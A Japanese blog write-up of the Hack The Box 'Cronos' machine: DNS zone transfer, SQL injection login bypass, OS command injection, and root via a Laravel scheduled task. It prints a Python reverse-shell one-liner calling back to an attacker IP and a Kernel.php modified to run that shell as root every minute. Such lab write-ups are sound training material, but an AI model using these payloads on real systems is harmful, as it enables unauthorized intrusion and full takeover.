備忘録なるもの

hack the box Cronos [linux]

f:id:grapesoda204:20200609153754p:plain

こんにちは。グレープ粗茶です。
今回はhack the box のmedium machine をやっていきたいと思います。

nmap

最近は空いているポートだけを先に調べたうえで、限定したポートに詳細な調査オプションを付けて実行しています。

# Nmap 7.80 scan initiated Sun May 31 03:44:52 2020 as: nmap -sC -Pn -A -p22,53,80 -oA output cronos.htb
Nmap scan report for cronos.htb (10.10.10.13)
Host is up (0.17s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Cronos
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ネームサーバーが動いているのでcronos.htbにアクセスすると、laravelの初期画面を書き換えたものが表示される

f:id:grapesoda204:20200609153756p:plain ちなみに10.10.10.13にアクセスすると、apacheの初期画面が表示されます。 ippsec曰く、これが見えると設定ミスがあるだとか言っていましたね。

(追記)

ちなみにどのようにapacheでvirtualhostが設定されているのか張っておきますね

www-data@cronos:/etc/apache2/sites-available$ ls
ls
000-default.conf  admin.conf  default-ssl.conf  laravel.conf
www-data@cronos:/etc/apache2/sites-available$ cat laravel
cat laravel.conf 
<VirtualHost *:80>
ServerAdmin admin@your_domain.com
DocumentRoot /var/www/laravel/public/
ServerName cronos.htb
ServerAlias www.cronos.htb
<Directory /var/www/html/laravel/>
Options FollowSymLinks
AllowOverride All
Order allow,deny
allow from all
</Directory>
ErrorLog /var/log/apache2/chronos.htb-error_log
CustomLog /var/log/apache2/chronos.htb-access_log common
</VirtualHost>

侵入経路見つからず…

writeupを少し読んでみると、DNSのところをしっかり調べる必要があるみたいです。

port 53

次にドメインのネームサーバが動いている事から、ゾーン転送を行うようです。

正味DNSの知識が無かったので、いろいろ調べて読んでみました。

そこで「DNSをはじめよう」という同人誌を参照しました。とても説明が分かりやすく、ハンズオン形式で進むため面白かったです。多分続編の「AWSをはじめよう」も買ってしまうかもしれない…(構成がうまい)
そんなわけで、DNSのゾーンファイルを参照するために digのaxfrのオプションを加えて実行します。
ちなみにゾーン転送が許可されていないと「transfer failed」 とエラーが返ってくるらしいです。初心者のためのDNS運用入門

kali@kali:~/htb/hkb/cronos/nmap$ dig @10.10.10.13 cronos.htb axfr

; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> @10.10.10.13 cronos.htb axfr
; (1 server found)
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 274 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Mon Jun 08 07:38:58 EDT 2020
;; XFR size: 7 records (messages 1, bytes 203)

すると、admin.cronos.htbというサブドメインが発見できます\(^_^)/

port 80

次にadmin.cronos.htbに接続してみる。

そこでは、簡単なSQLinjectionを刺すことができた。

f:id:grapesoda204:20200609153751p:plain

admin画面

ログイン画面を開くと次のような画面が表示されます。

どうやらpingコマンドを使える管理ツールのようです。一瞬で刺さりそうですねコレハ。

f:id:grapesoda204:20200609153800p:plain

とりあえず、OSコマンドインジェクションが行けそうなので仕掛けてみます。

f:id:grapesoda204:20200609153803p:plain

刺さりましたね。 ということで、reverseshellをやっていきます。

;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.27",4444 ));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

そんなわけで、user.txtを覗いていきます💪

$ ls -l /home/
total 4
drwxr-xr-x 4 noulis noulis 4096 Apr  9  2017 noulis
$ ls -l /home/noulis
total 4
-r--r--r-- 1 noulis noulis 33 Mar 22  2017 user.txt
$ cat /home/noulis/user.txt
<kotae>

privilege escalation

LinEnum.shを用いてsuidやcrontabなどを見ていきます。 下の情報はcrontabです。

# m h dom mon dow user   command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *   root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
#

どうやら毎分laravelのscheduleが走っているそうです。ということで、親の顔より見たredoubleを参照します(適当)

https://readouble.com/laravel/5.7/ja/scheduling.html

コマンド実行のメソッドがあるのでそれを利用して、reverseshellを実行するコマンドを設定します。

<?php

namespace App\Console;

use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;

class Kernel extends ConsoleKernel
{
    /**
     * The Artisan commands provided by your application.
     *
     * @var array
     */
    protected $commands = [
        //
    ];

    /**
     * Define the application's command schedule.
     *
     * @param  \Illuminate\Console\Scheduling\Schedule  $schedule
     * @return void
     */
    protected function schedule(Schedule $schedule)
    {
        // $schedule->command('inspire')
            //          ->hourly();
            //
        $schedule->exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.27",4444 ));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')->cron('* * * * *');
    }

    /**
     * Register the Closure based commands for the application.
     *
     * @return void
     */
    protected function commands()
    {
        require base_path('routes/console.php');
    }
}

適当に一分ほど待ってるとshellが返ってきます。

kali@kali:~$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.13] 50326
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/user.txt
cat: /root/user.txt: No such file or directory
# cat /root/root.txt
<kotae>

感想

今回は唯一知ってるフレームワークのlaravelが問題の一部とされていて、解いていてとても楽しかったです。やはり知っていると、素早くリファレンス等にたどり着けて、どこ弄ればいいのか分かるので楽しいですね~。

DNSについては、講義で軽く触れる程度でしか知らなかったので再度自分で勉強する機会ができたので良かったです。

あと解いた後に気づいたんですけど、cronosってcrontabの文字遊びだったんですね…

他のwriteup

  • kernel.phpではなく,artisan本体をreverseshellに置換していました。

    今回はフレームワーク動作の根幹ではないため、壊れませんが場合によっては躊躇する力業な印象があります…